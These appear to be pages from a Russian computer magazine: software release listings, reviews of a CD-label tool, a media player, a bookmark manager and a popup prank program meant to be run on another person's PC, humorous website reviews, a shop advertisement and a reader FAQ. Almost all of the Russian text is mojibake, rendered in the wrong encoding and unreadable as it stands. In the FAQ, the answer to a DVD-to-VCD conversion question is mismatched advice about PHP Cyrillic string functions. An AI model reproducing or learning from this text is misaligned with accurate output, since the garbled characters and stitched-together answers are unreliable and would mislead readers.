LC+4.01<br />

Whisper32 1.14<br />

PINs 4.50<br />

PINs450.exe<br />

Personal Passworder 3.5<br />

Password Agent 2.2.1<br />

DiFolders<br />

FolderWatch<br />

LogMon<br />

ICQ SMS Sender<br />

The Bee<br />

SMS Communicator<br />

CMD2SMS<br />

ICQ Forwarder<br />

SMSTation 0.60b<br />

SMS Sender 1.0beta<br />

MegaFon Moscow SMS Sender 1.0.74<br />

SMS Express 1.3.8<br />

SMS Live 1.0<br />

Text2Phone 1.6.4<br />

Dr.Web 4.29c<br />

WinSCP 2.3<br />

PGP 8.0.2<br />

SecurityWorks 2003<br />

ZoneAlarm Free 3.7.159<br />

IRIS 4.0.6<br />

ÞÍÈÊÑ<br />

Íîâûå ÿäðà<br />

Ïàò÷è äëÿ ÿäðà<br />

VER 05.03 (53)<br />

cdrLabel v 7.0<br />

(583 Kb)<br />

Win 9x/Me/NT/2k/XP, Shareware<br />

http://www.ziplabel.com<br />

Zoom Player v 3.0<br />

PRO (792 Kb)<br />

Win 9x/Me/NT/2k/XP, Shareware<br />

http://www.inmatrix.com/zplayer<br />

Screen Babe v 2.1<br />

(2342 Kb)<br />

Win 9x/Me/NT/2k/XP, Shareware<br />

http://www.casperlab.com/ScreenBabe<br />

Îáíîâèëàñü ëó÷øàÿ, íà ìîé âçãëÿä, ïðîãðàììà äëÿ<br />

ïå÷àòè îáëîæåê äëÿ êîìïàêò-äèñêîâ. cdrLabel íàó÷èëàñü<br />

îáðàáàòûâàòü MP3, WMA è OGG-òåãè è îáçàâåëàñü<br />

ïîääåðæêîé ïëàãèíîâ. Âäîáàâîê, ïðîãà òåïåðü<br />

äàåò ÷óòü áîëüøå ïðîñòîðà äëÿ äèçàéíåðñêèõ èçûñêîâ.<br />

Õîòÿ ïî-ïðåæíåìó cdrLabel – ñîôò íå äëÿ áàëîâñòâà.<br />

Ýòî èíñòðóìåíò äëÿ ñåðüåçíîãî îïèñàíèÿ áîëüøèõ<br />

ôàéëîâûõ àðõèâîâ.<br />

Ôèíàëüíûé ðåëèç îòëè÷íîãî ìóëüòèìåäèéíîãî ïëååðà,<br />

íå îñîáî òðåáîâàòåëüíîãî ê ðåñóðñàì è îáëàäàþùåãî<br />

ìàññîé ïðîäâèíóòûõ ôóíêöèé. Äî òåõ ïîð, ïîêà<br />

íå âûéäåò íîâàÿ âåðñèÿ BSPlayer’à, Zoom Player,<br />

íåñîìíåííî, áóäåò ÿâëÿòüñÿ ëó÷øèì ñðåäñòâîì ïðîñìîòðà<br />

ôèëüìîâ â ôîðìàòàõ DIVX è DVD (õîòÿ DVD,<br />

íàñêîëüêî ÿ ïîíÿë, òåïåðü ñìîæåò êðóòèòü òîëüêî óñëîâíî-áåñïëàòíàÿ<br />

PRO âåðñèÿ ýòîé ïðîãè).<br />

Óíèêàëüíàÿ ïðîãðàììà äëÿ ñîçäàíèÿ ìàëåíüêèõ âèðòóàëüíûõ<br />

ïåðñîíàæåé, æèâóùèõ íà ýêðàíå êîìïüþòåðà. Ïîäðîáíåå<br />

î Screen Babe ìîæíî ïî÷èòàòü â ÿíâàðñêîì íîìåðå Õ<br />

(ñòàòüÿ «Êàê çàìóòèòü ñâîé screenmate»). ß æå õîòåë ëèøü<br />

îòìåòèòü, ÷òî íåäàâíî âûøëà âòîðàÿ âåðñèÿ ýòîé ïðîãè,<br />

ïîçâîëÿþùàÿ ñîçäàâàòü çíà÷èòåëüíî áîëåå ñëîæíûå è ðàçóìíûå<br />

ñêðèíìåéòû, óìåþùèå ïîëó÷àòü èíôîðìàöèþ èç<br />

Ñåòè è ëåãêî îáó÷àåìûå ëþáîìó ÿçûêó - äàæå ðóññêîìó :).<br />

NEW<br />

RELEASES<br />

NEW<br />

RELEASES<br />

NEW<br />

RELEASES<br />

96


BookmarkHit v 2.1<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 1352 Kb<br />

Shareware<br />

http://www.gemx.com<br />

Ïðîãðàììû îò GemX âñåãäà ðàäîâàëè<br />

ìåíÿ ñâîèì èíòåðôåéñîì,<br />

è èõ ìåíåäæåð çàêëàäîê íå<br />

ñòàë èñêëþ÷åíèåì – íà íåãî ïðèÿòíî<br />

ïîñìîòðåòü, ñ íèì óäîáíî<br />

ðàáîòàòü. Ê òîìó æå BookmarkHit<br />

âûäåëÿåòñÿ èç îáùåé ìàññû ïðîã<br />

äàííîãî âèäà ñâîåé íàâîðî÷åííîñòüþ<br />

– îí îòíîñèòñÿ ê òîé íåìíîãî÷èñëåííîé<br />

ãðóïïå bookmark<br />

manager’îâ, êîòîðûå óìåþò ñîõðàíÿòü<br />

íå òîëüêî ññûëêè íà ñàéòû,<br />

íî è ñêðèíøîòû èõ òèòóëüíûõ<br />

ñòðàíèö. Ñðàçó ïðåäóïðåæó, ÷òî<br />

ïðîãðàììà ïðåäíàçíà÷åíà äëÿ<br />

âäóì÷èâîé ðàáîòû ñ áîëüøèì êîëè÷åñòâîì<br />

çàïèñåé. Ýòè çàïèñè<br />

BookmarkHit ïîçâîëÿåò õðàíèòü â<br />

èäåàëüíîì ïîðÿäêå, ôîðìèðóÿ<br />

èç íèõ ïîíÿòíûå äðåâîâèäíûå<br />

ñòðóêòóðû. Êðîìå ññûëêè, íàçâàíèÿ<br />

ñàéòà, åãî îïèñàíèÿ è ñêðèíøîòà òèòóëüíîé ñòðàíèöû (çàäàííîãî êà÷åñòâà!)<br />

ëþáàÿ çàêëàäêà ìîæåò èìåòü ðåéòèíã è ñâîþ ñîáñòâåííóþ èêîíêó. Âäîáàâîê ê ýòîìó<br />

BookmarkHit ïîçâîëÿåò ìåíÿòü öâåò øðèôòà ó îòäåëüíûõ çàïèñåé è ïàïîê. Äîñòàòî÷íî<br />

îäèí ðàç íàâåñòè ïîðÿäîê â ñâîåé êîëëåêöèè ññûëîê, è çàáëóäèòüñÿ â íåé<br />

áóäåò óæå ïðàêòè÷åñêè íåâîçìîæíî.  êðàéíåì ñëó÷àå, òåáÿ âñåãäà âûðó÷èò ñòðîêà<br />

áûñòðîãî ïîèñêà (îíà ïîñòîÿííî ïðèñóòñòâóåò íà ýêðàíå è íå ãíóøàåòñÿ ðóññêèì<br />

ÿçûêîì) èëè âñòðîåííûé Image Viewer (îí ïîêàçûâàåò íå óìåíüøåííîå èçîáðàæåíèå<br />

âåá-ñòðàíèöû, à êàðòèíêó «â ïîëíûé ðîñò», ãëÿäÿ íà êîòîðóþ îáû÷íî óäàåòñÿ<br />

âñïîìíèòü, çà÷åì òû êîãäà-òî çàíåñ â çàêëàäêè ýòîò ñàéò).<br />

Ëó÷øå âñåãî ïðîãðàììà ðàáîòàåò ñ Internet Explorer – íàæàòèå ãîðÿ÷åé êëàâèøè,<br />

è íîâàÿ çàêëàäêà ìîìåíòàëüíî ïîïàäàåò â ëàïû BookmarkHit. «Çàêëàäûâàòü» ñòðàíèöû<br />

èç Îïåðû î÷åíü íåóäîáíî – ñêðèíøîòû íå âûõîäÿò, è ìíîãèå ïîëÿ ïðèõîäèòñÿ<br />

çàïîëíÿòü ñàìîñòîÿòåëüíî. Çàòî èìïîðòèðîâàòü çàêëàäêè BookmarkHit ìîæåò<br />

èç âñåõ áîëåå-ìåíåå ïîïóëÿðíûõ áðàóçåðîâ. Îòêðûâàòü ññûëêè òû òàêæå ìîæåøü<br />

â òîé áðîäèëêå, êîòîðàÿ òåáå íðàâèòñÿ áîëüøå.<br />

 BookmarkHit ðåàëèçîâàíà åùå óéìà âñÿêèõ ëþáîïûòíûõ ôèøå÷åê (àâòîìàòè÷åñêèé<br />

áýêàï, ñæàòèå áàçû äàííûõ, ðàçëè÷íûå ñïîñîáû ìàíèïóëÿöèè ñêðèíøîòàìè è<br />

ò.ï.), òàê ÷òî åñëè òðåáóåòñÿ ïðåâðàòèòü áåñïîðÿäî÷íûé ñïèñîê ññûëîê â ñåðüåçíóþ<br />

êîëëåêöèþ çàêëàäîê, òî ê ýòîé ïðîãå òåáå îïðåäåëåííî ñòîèò êàê ñëåäóåò<br />

ïðèñìîòðåòüñÿ.<br />

Popup<br />

Prank v 1.0<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 367 Kb<br />

Freeware<br />

http://www.rjlsoftware.com<br />

Íîâîé ïðîãîé-çàïîäëÿíêîé<br />

ïîðàäîâàëà êîìïàíèÿ<br />

RJL Software. Íà ýòîò ðàç<br />

ðàçðàáîò÷èêè îáðàòèëèñü<br />

ê êëàññè÷åñêîìó ñïîñîáó<br />

èçäåâàòåëüñòâà íàä<br />

ëþäüìè, øèðîêî èçâåñòíîìó<br />

â Ñåòè ïîä áåçîáèäíûì<br />

íàçâàíèåì «ðåêëàìà<br />

ñ ïîìîùüþ âñïëûâàþùèõ<br />

îêîí». Ðåçóëüòàòîì èõ ïîèñòèíå<br />

áåñ÷åëîâå÷íîãî<br />

ýêñïåðèìåíòà ñòàëî ïîÿâëåíèå<br />

íà ñâåò ïðîãðàììû<br />

Popup Prank - îðóæèÿ<br />

ñòðàøíîé ðàçðóøèòåëüíîé<br />

ñèëû, ñïîñîáíîãî<br />

áûñòðî äîâåñòè äî áåøåíñòâà ÷åëîâåêà äàæå ñ ñàìîé óñòîé÷èâîé ïñèõèêîé.<br />

Ïðèíöèï äåéñòâèÿ Popup Prank ïðîñò – ïðîãðàììà çàñòàâëÿåò âûïðûãèâàòü íà<br />

ýêðàí îêíà ñ ðåêëàìîé. Òî÷íî òàêèå æå îêíà, êàê è òå, ÷òî òåáå ñîòíè ðàç ïðèõîäèëîñü<br />

âèäåòü âî âðåìÿ ïóòåøåñòâèé ïî èíåòó. Òîëüêî åñëè áðîäèëêà ïîêàçûâàëà<br />

ýòè îêíà â ùàäÿùåì ðåæèìå – ïî íåñêîëüêó øòóê â ÷àñ (îñîáåííî, åñëè â Ñåòè<br />

òû äåðæèøüñÿ öèâèëèçîâàííûõ ìåñò), òî òâîðåíèå RJL Software ñïîñîáíî çàêîëåáàòü<br />

äàæå ìåðòâîãî… Â ïðèíöèïå. Ïðîáëåìà â òîì, ÷òî ñåé÷àñ êîëè÷åñòâî<br />

«ðåêëàìíûõ ïîêàçîâ», óâû, íå ìîæåò áûòü áîëüøå 20, õîòÿ ïîðîé æåðòâà ïðÿìîòàêè<br />

çàñëóæèâàåò òîãî, ÷òîáû ýòî ÷èñëî áûëî íà ïîðÿäîê áîëüøå.<br />

Ñòåïåíü «çëîáíîñòè» Popup Prank çàäàåòñÿ ïðè ïåðâîì çàïóñêå (êîòîðûé, ñàìî<br />

ñîáîé, ïðîèçâîäèòñÿ íà ÷óæîé ìàøèíå). Ïîìèìî êîëè÷åñòâà ïîêàçîâ, òû<br />

ìîæåøü óêàçàòü ïðîãðàììå, ñêîëüêî ñåêóíä ïîñëå çàêðûòèÿ þçåðîì îäíîãî<br />

ðåêëàìíîãî îêíà íåîáõîäèìî âûæäàòü, ïðåæäå ÷åì âûâåñòè íà ýêðàí ñëåäóþùåå.<br />

Äðóãîé âàæíûé ìîìåíò, íà êîòîðûé òåáå ñòîèò îáðàòèòü âíèìàíèå, ýòî<br />

îïöèÿ «Hide until Internet Browser opens». Åñëè åå îòìåòèòü, òî Popup Prank áóäåò<br />

äåìîíñòðèðîâàòü pop-up’û ëèøü òîãäà, êîãäà þçåð Óøàñòûé çàïóñòèò ñâîé<br />

áðàóçåð. È ôèãóøêè îí äîãàäàåòñÿ, ÷òî ïðîáëåìà-òî ñîâñåì íå â áðîäèëêå!<br />

Åùå îäèí íþàíñ, î êîòîðîì òåáå ñòîèò çíàòü, - Popup Prank óìååò âñòàâëÿòü â<br />

ðåêëàìó çàäàííîå òîáîé ãðàôè÷åñêîå èçîáðàæåíèå (â ôîðìàòå jpeg, bmp, ico,<br />

emf èëè wmf). Ìîæåøü ðàçìåñòèòü íà áàííåðå ñâîå óëûá÷èâîå ëèöî (ïðàâäà,<br />

òîãäà æåðòâà áûñòðî äîãàäàåòñÿ, ÷òî äåëî íå÷èñòî) èëè ÷òî-íèáóäü ãîðàçäî<br />

áîëåå çëîáíîå.<br />

Ðàáîòàåò Popup Prank ïðàêòè÷åñêè íåçàìåòíî äëÿ ïîëüçîâàòåëÿ è àâòîìàòè÷åñêè<br />

çàêðûâàåòñÿ ïðè ïåðåìåùåíèè óêàçàòåëÿ ìûøè â ëåâûé âåðõíèé óãîë ýêðàíà.


Þíèòû<br />

Ñïîíñîð ðóáðèêè «Þíèòû» - ÖÍÒ öåíòðàëüíûé òåëåãðàô<br />

www.dialup.cnt.ru, www.cards.cnt.ru<br />

WWW<br />

Àëåêñ Ýêñëåð (exler@exler.ru)<br />

Äåíüãè, äåíüãè,<br />

äåíüãè, ðóáëèêè...<br />

http://www.ka-r-dan.agava.ru/money<br />

Õî÷åòñÿ ñêîëüêî-íèáóäü íåìíîæå÷êî<br />

äåíåæêîâ Äà íå âîïðîñ. Âîò íà ýòîì<br />

ñàéòå - ïîëíûé êîìïëåêò. Ïðàâäà, äåíåæêè<br />

ñòàðûå. Ïåðå÷èñëÿþ: ðóï÷èê,<br />

äåðåâÿííûé, ðóïü, áèð ìàíàò, êàðáîâàíåö,<br />

òðåøêà, òðåëüíèê, òðåõà, òðèôîí,<br />

çåëåíûé, òðþíäåëü, ïÿòåðêà,<br />

ïÿòåðà, ïÿòèôîí, ñèíüêà, ïÿòêà, ïÿòàê,<br />

äåñÿòêà, äåñþí÷èê, ÷èðèê, êðàñíûé<br />

ëåíèí, äåñèôîí, ÷åòâåðòíîé,<br />

óãîë è ÷åòâåðòàê. Òû, íåáîñü, è íàçâàíèé-òî<br />

òàêèõ íå çíàåøü. À ýòî, ðåáÿòà,<br />

íàøà ñ âàìè èñòîðèÿ. Íå÷òî âðîäå<br />

ìóçåÿ äîñòèæåíèé. Èëè ïîòåðü.<br />

Äëÿ êîãî-òî ýòî íîñòàëüãè÷åñêèå âîñïîìèíàíèÿ,<br />

à äëÿ êîãî-òî - íàáîð<br />

ïîðòðåòîâ óñòàðåâøèõ áóìàæåê. Íî<br />

òû çíàåøü, êàê ìû â ñâîå âðåìÿ ñ<br />

ýòèìè áóìàæêàìè... Íå ìîãó áîëüøå<br />

ïèñàòü. Ñëåçû ìó÷àþò. Ïîéäó ñòî<br />

áàêñîâ â ðóêàõ ïîâåð÷ó äëÿ óñïîêîåíèÿ.<br />

Íî íèêîãäà ýòè ÷åðòîâû áàêñû íå<br />

çàìåíÿò ìíå òðþíäåëÿ! Íèêîãäà!<br />

Ó÷åáíàÿ êàðòà<br />

èíòåðíåòà<br />

http://www.marusyak.net<br />

Ó÷åíûå óòâåðæäàþò,<br />

÷òî ìàêñèìàëüíîå<br />

÷èñëî<br />

îáúåêòîâ, êîòîðûìè<br />

îäíîâðåìåííî<br />

ìîæåò îïåðèðîâàòü<br />

÷åëîâåê, ðàâíî<br />

ñåìè. Ïîýòîìó<br />

Ìàðóñÿê è ñîòâîðèë<br />

äëÿ òåáÿ ýòó<br />

âåñüìà ìóäðåíóþ<br />

êàðòó èíòåðíåòà, â<br />

êîòîðîé âñåãî ïî<br />

ñåìü: ñåìü ïóëåê,<br />

êàê â Ñàðàåâî, è<br />

ñåìü ñàéòîâ â êàæäîé<br />

êàòåãîðèè.<br />

Ïðè÷åì ýòèõ êàòåãîðèé<br />

- ñåìü ðàç<br />

ïî ñåìü, óìíîæèòü íà ñåìü è ðàçäåëèòü íà äâå ïîëîâèíêè îò ñåìè.<br />

Çàòî ïðèêîëüíî, ïîòîìó ÷òî íå íóæíî çàãðóæàòü ìîçãè: çàøåë, âûáðàë<br />

êàòåãîðèþ, íàåõàë (íå êîíêðåòíî íàåõàë, à ïðîñòî íàåõàë) íà<br />

íåå ìûøêîé è òêíóë â ïåðâîå æå ïîïàâøååñÿ îëèìïèéñêîå êîëüöî,<br />

äîëæåíñòâóþùåå ñèìâîëèçèðîâàòü íåêèé ñàéò. ×òî èíòåðåñíî, êàêîé-íèáóäü<br />

ñàéò âñå ðàâíî îòêðîåòñÿ. Ïðè÷åì âûñîêà âåðîÿòíîñòü<br />

òîãî, ÷òî ñàéò áóäåò çàáàâíûé. Ïîýòîìó ó÷èìñÿ èíòåðíåòó ïî êàðòå<br />

Ìàðóñÿêà. Íàåçæàåì ìûøêîé. È áóäåò íàì ÙÀÑÒÜÅ!<br />

Ïðåìèÿ çà ãëóïîñòü<br />

http://www.darwin.hut.ru<br />

Íå çíàåøü, ÷òî òàêîå Ïðåìèÿ<br />

Äàðâèíà Ýòà ïðåìèÿ<br />

âðó÷àåòñÿ ëþäÿì, êîòîðûå<br />

ïîãèáëè ìàêñèìàëüíî äóðàöêèì<br />

îáðàçîì, ïðè÷åì<br />

ñâîåé ãèáåëüþ îáÿçàíû èñêëþ÷èòåëüíî<br />

ñàìèì ñåáå. Áîëåå<br />

òîãî, åñëè âíèìàòåëüíî<br />

ïî÷èòàòü ïðèâåäåííûå íà<br />

ñàéòå èñòîðèè, òî âûÿñíèòñÿ,<br />

÷òî ãëóïîñòü ÷åëîâå÷åñêàÿ<br />

èìååò òåíäåíöèþ ïîâòîðÿòüñÿ.<br />

Íàïðèìåð, áûâøèõ<br />

âîåííûõ, ðåøèâøèõ ðàçîãíàòü<br />

ñâîþ ìàøèíó ñ ïîìîùüþ<br />

ñàìîëåòíûõ ðàêåòíûõ<br />

óñêîðèòåëåé, îêàçàëîñü<br />

ìèíèìóì òðîå. Ìóæåé, êîòîðûå<br />

èç-çà ññîð ñ æåíàìè òåì<br />

èëè èíûì äóðàöêèì îáðàçîì<br />

çàêàí÷èâàëè ñâîþ æèçíü -<br />

äåñÿòêè è ñîòíè. À óæ íåçàäà÷ëèâûõ<br />

ãðàáèòåëåé, êîòîðûå<br />

íàäåâàþò ìàñêó è çàáûâàþò<br />

ïðè ýòîì ñíÿòü ñ ãðóäè<br />

áàäæèê ñî ñâîèì èìåíåì,<br />

ïðîñòî íå ñîñ÷èòàòü. Ñ îäíîé ñòîðîíû, âñåõ ýòèõ áåäîëàã, êîíå÷íî, æàëêî,<br />

íî ñ äðóãîé - î÷åíü ïîçíàâàòåëüíîå ÷òèâî äëÿ òåõ, êòî ñ÷èòàåò, ÷òî ãëóïîñòü<br />

èìååò îïðåäåëåííûé ïðåäåë. Íè ôèãà ïîäîáíîãî! Ãëóïîñòü - áåñïðåäåëüíà!<br />

Îáìàíóëè ëè íàñ<br />

àìåðèêàíöû<br />

http://www.skeptik.net/conspir/moonhoax.htm<br />

Ñòî ëåò âñå ñïîðÿò,<br />

áûëè àìåðèêàíöû<br />

íà Ëóíå,<br />

èëè æå îíè âñåõ<br />

îáìàíóëè. Íà<br />

ýòîé ñòðàíè÷êå<br />

ïðèâîäèòñÿ êó÷à<br />

äîêàçàòåëüñòâ òîãî,<br />

÷òî îíè òàì íå<br />

áûëè. À òàêæå êó-<br />

÷à îïðîâåðæåíèé<br />

ýòèõ äîêàçàòåëüñòâ<br />

òîãî, ÷òî<br />

îíè òàì íå áûëè,<br />

èç ÷åãî ìîæíî ñäåëàòü âûâîä î òîì, ÷òî îíè òàì âñå-òàêè áûëè. Ïðè ýòîì<br />

ó òåáÿ âîçíèêíóò ñâîè äîêàçàòåëüñòâà òîãî, ÷òî îíè òàì íå áûëè, è ýòè<br />

äîêàçàòåëüñòâà òû ñàì ñåáå ñìîæåøü îïðîâåðãíóòü âñåé ìîùüþ ñâîåãî<br />

âûäàþùåãîñÿ óìà. Õîðîøåå ðàçâëå÷åíèå, ìåæäó ïðî÷èì. Ñîâåðøåííî<br />

áåññìûñëåííîå, íî çàòî óâëåêàòåëüíîå - äî âèçãà. Òîëüêî íå ðåêîìåíäóþ<br />

÷èòàòü ìàòåðèàëû ýòîãî ñàéòà âî âðåìÿ êîëëåêòèâíûõ ïüÿíîê - ïåðåäåðåòåñü<br />

âñå ñî ñòðàøíîé ñèëîé.<br />

98


Íîâûå æåðòâû<br />

"Òèòàíèêà"<br />

http://www.karpov.hole.ru/other/titanik.htm<br />

ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />

ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />

PC Accessories<br />

Ðåàëüíûå ïèñüìà,<br />

ïðèñëàííûå íà êîíêóðñ<br />

â êîìïàíèþ<br />

"Ïåïñèêî". Åñëè òû<br />

íå ïðîñëåçèøüñÿ,<br />

çíà÷èò, òû ÷åðñòâûé,<br />

ýãîèñòè÷íûé è æåñòîêèé<br />

÷åëîâåê. Ïîòîìó<br />

÷òî ëè÷íî ÿ ïðîñòî<br />

ïëàêàë âåñü, ÷èòàÿ<br />

ýòè íåñðàâíåííûå<br />

øåäåâðû. Ðåáÿòà<br />

âñåãî-òî äîëæíû áûëè<br />

ñêàçàòü, êàê ëþáÿò "Òèòàíèê" è ïåïñè-êîëó. À ÷òî èç ýòîãî ïîëó÷èëîñü<br />

- ïðîñòî "Âîéíà è ìèð", "Çàíåñåííûå âåòðîì" è "Çîëóøêà" â<br />

îäíîì ôëàêîíå. ß ïðèâåäó òîëüêî îäíó-åäèíñòâåííóþ öèòàòó îòòóäà:<br />

"Ýòîò ôèëüì ìíå íðàâèòñÿ òåì, ÷òî ïðè åãî ïðîñìîòðå õî÷åòñÿ ïëàêàòü.<br />

ß î÷åíü õî÷ó èìåòü ïëàêàò ãèáåëè Òèòàíèêà èëè Ëåîíàðäà Äèêàïðèî".<br />

Ïëà÷åøü Íó, õîðîøî, åùå îäíó: "Ìíå ñèëüíî ïîíðàâèëîñü<br />

âàøå êèíî òèòàíèê, îíî î÷åíü äóøåâíîå êèíî. Ìíîãî ïîãèáëî ëþäåé".<br />

Íàäåþñü, òåïåðü ó òåáÿ íåò íèêàêèõ ñîìíåíèé â òîì, ÷òî ýòî<br />

íåïðåìåííî íóæíî ïî÷èòàòü.<br />

Áîðüáà ñåáÿ ñ ñàìèì<br />

ñîáîé<br />

http://www.nedrosom.taiso.ru<br />

Àõ-ôèãèòåëüíàÿ<br />

ïðîãðàììà! Çàùèùàåò<br />

òåáÿ îò ñàìîãî<br />

òåáÿ. Òî åñòü ñåáÿ.<br />

Ñèñòåìà ïðîñòàÿ.<br />

Ïðè ðàáîòå çà<br />

êîìïüþòåðîì îòäûõàòü<br />

íóæíî Íåñîìíåííî.<br />

À òî áóäåò<br />

ïîëíûé àëåñ ãåìàõò,<br />

êàê ãîâàðèâàë Ñàââà<br />

Èãíàòüè÷. Âîò äëÿ<br />

òàêèõ êàê òû, ìû è<br />

îíè - ïðèäóìàíà ýòà<br />

ïðîãðàììà. Â íóæíûé<br />

ìîìåíò îíà ñàìà<br />

ïîëíîñòüþ çàáëîêèðóåò<br />

ýêðàí è<br />

çàñòàâèò òåáÿ îòäîõíóòü îò êîìïüþòåðà çàäàííîå ÷èñëî ìèíóò: 30<br />

ìèíóò ðàáîòû - 5 ìèíóò îòäûõà, 50 ìèíóò ðàáîòû - 10 ìèíóò îòäûõà,<br />

90 ìèíóò ðàáîòû - 15 ìèíóò îòäûõà. Ñäåëàíî âñå î÷åíü õèòðî,<br />

÷åðòà ñ äâà ýòîò "Õðîíîêîíòðîëü" îáìàíåøü. Âïðî÷åì, þíûå õàêåðû<br />

ìîãóò ïîïðîáîâàòü ýòó áåðåçêó çàëîìàòè, åñëè îíè ïðèíöèïèàëüíî<br />

íå õîòÿò îòäûõàòü, ïðåäïî÷èòàÿ ïîðòèòü ñåáå ãëàçà è çäîðîâüå.<br />

Òàê ÷òî ìîæíî ñðàçó ãðîõíóòü äâóõ çàéöåâ: èëè îòäîõíóòü,<br />

èëè õàêíóòü ýòîò "Õðîíîêîíòðîëü". Ïîòîìó ÷òî íå ôèã íàñ êîíòðîëèðîâàòü.<br />

Õîòÿ ýòî è ïîëåçíî äëÿ çäîðîâüÿ.<br />

$32.99<br />

Íàóøíèêè/<br />

Nady QH-460<br />

$779.99<br />

Äæîéñòèê/ Flight<br />

Control System III<br />

(AFCS III)<br />

$179.99<br />

Êëàâèàòóðà/ Microsoft<br />

Wireless Optical Desktop<br />

Pro, Keyboard-Mouse Combo<br />

$209.99<br />

Ïåäàëè/CH Pro<br />

Pedals USB<br />

$209.99<br />

$73.99<br />

Äæîéñòèê/ 2.4GHz<br />

Logitech Cordless<br />

Controller<br />

Äæîéñòèê/ CH Flight<br />

Sim Yoke USB<br />

Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />

e-mail: sales@e-shop.ru<br />

Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />

ññ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />

ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />

(095) 928-6089 (095) 928-0360 (095) 928-3574


Þíèòû<br />

FAQ<br />

Stepan Ilyin aka Step (faq@real.xakep.ru)<br />

Çàäàâàÿ âîïðîñ, ïîäóìàé! Íå ñòîèò ìíå ïîñûëàòü<br />

âîïðîñû, òàê èëè èíà÷å ñâÿçàííûå ñ<br />

õàêîì/êðÿêîì/ôðèêîì - äëÿ ýòîé åñòü hack-faq<br />

(hackfaq@real.xakep.ru), íå ñòîèò òàêæå çàäàâàòü<br />

îòêðîâåííî ëàìåðñêèå âîïðîñû, îòâåò íà êîòîðûå<br />

òû ïðè îïðåäåëåííîì æåëàíèè ìîæåøü íàéòè è<br />

ñàì. ß íå òåëåïàò, ïîýòîìó êîíêðåòèçèðóé âîïðîñ,<br />

ïðèñûëàé êàê ìîæíî áîëüøå èíôîðìàöèè.<br />

Q: Ñðî÷íî íóæåí äâèæîê äëÿ ñîçäàíèÿ<br />

ôîòîãàëåðåè. Æåëàòåëüíî íà PHP.<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A:  ñâîå âðåìÿ, êîãäà ÿ ïîëó÷èë çàêàç íà èçãîòîâëåíèå ïîäîáíîãî ñêðèïòà, ìíå î÷åíü ïîìîã<br />

êîä PhotoPost PHP (http://www.photopost.com/featuresphp.html). Î÷åíü ìîùíûé è ãðàìîòíî<br />

íàïèñàííûé èíñòðóìåíò äëÿ ðåàëèçàöèè ïîñòàâëåííîé öåëè. Ðàáîòàåò íà PHP4, èñïîëüçóåò<br />

MySQL, èìååò îãðîìíîå êîëè÷åñòâî ôóíêöèé è êðàéíå ïðîñò â íàñòðîéêå. Åñëè<br />

òåáå íå íóæíû ñëîæíåéøèå çàïðîñû, êîòîðûå ìîãóò ðîäèòüñÿ òîëüêî ó ïàðàíîèêîâ-ðàáîòîäàòåëåé,<br />

òî PhotoPost PHP, ïî-ìîåìó, èäåàëüíûé âàðèàíò.<br />

Q: Ñëó÷àéíî çàìêíóë öåïè ïèòàíèÿ êóëåðà íà ìàòåðèíêå<br />

Chaintec 7aja2-100. Ïîñëå ýòîãî êîìïüþòåð íå<br />

âêëþ÷àåòñÿ. Ïîäñêàæèòå, ïîæàëóéñòà, ÷òî ïîëåòåëî<br />

Ìàòåðèíñêóþ ïëàòó òîëüêî-òîëüêî êóïèë.<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Ñêîðåå âñåãî, ñãîðåë ðåçèñòîð, êîòîðûé ñòîèò ðÿäîì ñ ðàçúåìîì ïîä ïèòàíèå êóëåðà. Ïîïðîáóé âûïàÿòü åãî è êàïíóòü<br />

êàïëþ îëîâà (ñîïðîòèâëåíèÿ äîëæíî õâàòèòü). Åñëè îïûòà â òàêèõ äåëàõ íåò, èëè ïðîñòî áîèøüñÿ, òî ëó÷øå íåñè ìàòåðèíêó<br />

â ðåìîíò. À åùå ëó÷øå ïîïðîáîâàòü ñäàòü äåâàéñ ïî ãàðàíòèè.  ëþáîì ñëó÷àå, ïîïûòêà - íå ïûòêà!<br />

Q: Ïèøó ïðîêñè-ñêàíåð. Âñå áû õîðîøî,<br />

äà âîò íå ìîãó íàéòè íàèáîëåå<br />

ïîëíîãî ñïèñêà ïîðòîâ, êîòîðûå ñòàëè<br />

ñòàíäàðòîì äå-ôàêòî. Ïîïàäàþòñÿ<br />

êàêèå-òî êóñêè, à õî÷åòñÿ ÷åãî-íèáóäü<br />

ïîëíîãî...<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Íó, òàê äåðæè: 21, 80, 81, 82, 83, 85, 88, 888, 1080, 1182, 3128, 3408, 5121,<br />

5265, 5381, 6079, 6588, 6829, 7146, 7156, 7185, 7235, 7365, 7484, 7515, 7703, 7739, 7769,<br />

7829, 7989, 8000, 8001, 8002, 8010, 8080, 8081, 8082, 8088, 8100, 8150, 8253, 8369, 8405,<br />

8553, 8616, 8760, 8888, 8965, 9003, 9081, 9274, 9407, 9441, 9465, 9483, 9515, 9557, 9598,<br />

9631, 9715, 9817, 9853, 9859, 10000, 10080, 31213, 31578, 48786;<br />

Ìàññó äðóãîé èíòåðåñíîé èíôû, êîòîðàÿ íàâåðíÿêà òåáå ïðèãîäèòñÿ, ìîæíî íàéòè íà<br />

www.antiproxy.com è www.proxychecker.ru.<br />

Q: Ïîäñêàæè óòèëèòó äëÿ êîíâåðòèðîâàíèÿ<br />

DVD â<br />

VCD(SVCD)!<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Êëàññè÷åñêèé âîïðîñ, êîòîðûé óæå íå ðàç îñâåùàëñÿ. Ïðîáëåìû ñ êèðèëëèöåé<br />

áûâàþò íå òîëüêî â Perl’å (ãäå èíîãäà íåïðàâèëüíî ñðàáàòûâàåò<br />

locale), íî è â PHP. Ïîýòîìó ñîâåòóþ èñïîëüçîâàòü óæå ïðîâåðåííûå<br />

âðåìåíåì è îãðîìíûì êîëè÷åñòâîì ïðîãðàììåðîâ ôóíêöèè:<br />

strtoupper()<br />

<br />

strtolower()<br />

<br />

